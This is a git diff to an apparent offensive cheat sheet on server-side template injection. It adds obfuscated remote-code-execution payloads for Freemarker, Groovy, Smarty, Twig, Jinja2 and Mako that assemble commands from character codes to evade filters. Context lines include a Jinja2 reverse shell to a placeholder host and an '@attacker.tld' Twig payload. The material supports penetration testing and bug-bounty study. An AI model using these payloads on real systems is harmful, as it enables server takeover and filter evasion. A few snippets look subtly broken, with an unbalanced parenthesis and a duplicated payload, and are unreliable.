swisskyrepo · Brum3ns · Dec 3, 2025 · Dec 3, 2025 · Dec 3, 2025 · Dec 3, 2025
diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md
@@ -13,6 +13,7 @@
     - [Freemarker - Basic Injection](#freemarker---basic-injection)
     - [Freemarker - Read File](#freemarker---read-file)
     - [Freemarker - Code Execution](#freemarker---code-execution)
+    - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
     - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
 - [Codepen](#codepen)
 - [Jinjava](#jinjava)
@@ -27,6 +28,7 @@
     - [Groovy - Read File](#groovy---read-file)
     - [Groovy - HTTP Request:](#groovy---http-request)
     - [Groovy - Command Execution](#groovy---command-execution)
+    - [Groovy - Command Execution with Obfuscation](#groovy---command-execution-with-obfuscation)
     - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
 - [Spring Expression Language](#spring-expression-language)
     - [SpEL - Basic Injection](#spel---basic-injection)
@@ -110,6 +112,20 @@
 [="freemarker.template.utility.Execute"?new()("id")]
 ```
 
+### Freemarker - Code Execution with Obfuscation
+
+FreeMarker offers the built-in function: `lower_abc`. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as `chr` in Python, as the [documentation for lower_abc explains](https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc):
+
+If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`.
+
+
+Chaining `lower_abc` to perform code execution (command: `id`):
+```js
+${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ### Freemarker - Sandbox Bypass
 
 :warning: only works on Freemarker versions below 2.3.30
@@ -293,6 +309,19 @@
 ${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
 ```
 
+### Groovy - Command Execution with Obfuscation
+
+You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.
+
+Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`.
+
+Execute system command (command: `id`):
+```groovy
+${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ### Groovy - Sandbox Bypass
 
 ```groovy
@@ -390,3 +419,4 @@
 - [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
 - [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
 - [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
+- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
diff --git a/Server Side Template Injection/PHP.md b/Server Side Template Injection/PHP.md
@@ -5,12 +5,15 @@
 ## Summary
 
 - [Templating Libraries](#templating-libraries)
+- [blade](#blade)
 - [Smarty](#smarty)
+    - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation)
 - [Twig](#twig)
     - [Twig - Basic Injection](#twig---basic-injection)
     - [Twig - Template Format](#twig---template-format)
     - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
     - [Twig - Code Execution](#twig---code-execution)
+    - [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation)
 - [Latte](#latte)
     - [Latte - Basic Injection](#latte---basic-injection)
     - [Latte - Code Execution](#latte---code-execution)
@@ -41,6 +44,8 @@
 {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
 ```
 
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ---
 
 ## Smarty
@@ -56,6 +61,17 @@
 {system('cat index.php')} // compatible v3
 ```
 
+### Smarty - Code Execution with Obfuscation
+
+By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`.
+
+Execute system comman (command: `id`):
+```php
+{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ---
 
 ## Twig
@@ -124,6 +140,21 @@
 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
 ```
 
+### Twig - Code Execution with Obfuscation
+
+Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`)
+
+```twig
+{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
+```
+
+The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process:
+```twig
+{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ---
 
 ## Latte
@@ -262,5 +293,5 @@
 
 ## References
 
-- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere- YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
+- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
 - [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)
diff --git a/Server Side Template Injection/Python.md b/Server Side Template Injection/Python.md
@@ -26,12 +26,14 @@
         - [Exploit The SSTI By Calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen)
         - [Exploit The SSTI By Calling Popen Without Guessing The Offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)
         - [Exploit The SSTI By Writing an Evil Config File](#exploit-the-ssti-by-writing-an-evil-config-file)
+    - [Jinja2 - Remote Command Execution with Obfuscation](#jinja2---remote-command-execution-with-obfuscation)
     - [Jinja2 - Filter Bypass](#jinja2---filter-bypass)
 - [Tornado](#tornado)
     - [Tornado - Basic Injection](#tornado---basic-injection)
     - [Tornado - Remote Command Execution](#tornado---remote-command-execution)
 - [Mako](#mako)
     - [Mako - Remote Command Execution](#mako---remote-command-execution)
+    - [Mako - Remote Command Execution with Obfuscation](#mako---remote-command-execution-with-obfuscation)
 - [References](#references)
 
 ## Templating Libraries
@@ -260,6 +262,17 @@ Simple modification of the payload to clean up output and facilitate command inp
 {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
 ```
 
+### Jinja2 - Remote Command Execution with Obfuscation
+
+Write the string: `id` using the index position of a known existing string (the index value may vary depending on the target): `{{self.__init__.__globals__.__str__()[1786:1788]}}`.
+
+Execute the system command `id`:
+```python
+{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ### Jinja2 - Filter Bypass
 
 ```python
@@ -400,10 +413,26 @@ PoC :
 <module 'os' from '/usr/local/lib/python3.10/os.py'>
 ```
 
+### Mako - Remote Command Execution with Obfuscation
+
+In Mako, the following payload can be used to generates the string "id": `${str().join(chr(i)for(i)in[105,100])}`.
+
+Execute the system command `id`:
+```python
+${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
+```
+
+```python
+<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
+```
+
+Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
+
 ## References
 
 - [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
 - [Exploring SSTI in Flask/Jinja2, Part II - Tim Tomes - March 11, 2016](https://web.archive.org/web/20170710015954/https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
 - [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://0day.work/jinja2-template-injection-filter-bypasses/)
 - [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
-- [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)
+- [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack, Brumens - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)
+- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
@@ -95,3 +95,4 @@ Once the template engine is identified, the attacker injects more complex expres
 - [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
 - [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
 - [Template Injection On Hardened Targets - Lucas 'BitK' Philippe - September 28, 2022](https://youtu.be/M0b_KA0OMFw)
+- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)